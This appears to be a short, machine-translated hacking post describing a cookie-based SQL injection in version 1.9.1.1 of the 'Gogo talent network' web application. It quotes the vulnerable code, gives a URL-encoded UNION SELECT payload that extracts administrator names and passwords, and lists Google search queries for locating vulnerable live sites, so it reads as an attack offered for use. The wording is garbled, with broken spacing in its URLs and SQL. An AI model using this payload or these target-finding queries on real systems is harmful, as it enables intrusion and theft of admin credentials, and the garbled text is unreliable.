Gogo talent network v1.9.1.1 (access edition) has the cookie injection vulnerability.

View in combination with this Article:/Article/200907/39936 .html

Vulnerability file: article. asp
Problem code: SQL = "select c_name from article_c where id =" & request ("class ")
Because anti-injection prevents querystring and form, we can inject Cookies.
Generate an asp page through injection, build an asp environment locally, and inject the statement: http: // localhost/jmCook. asp? Jmdcw = 1% 20and % 201 = 2% 20 union % 20 select % 20go_name % 2b % 27% 2a % 27% 2bgogo_pwd % 20 from % 20gogo_admin

You can also use the JS plug-in provided by GreenBrowser to enter

Google: User Logon, Personal Registration, enterprise registration, set to homepage and add to favorites
Or inurl: gogo_add_guest.asp
Or inurl: systemarticle. asp? Id =
Talents from the great motherland!
Alimail love S Blog http://www.virusest.com/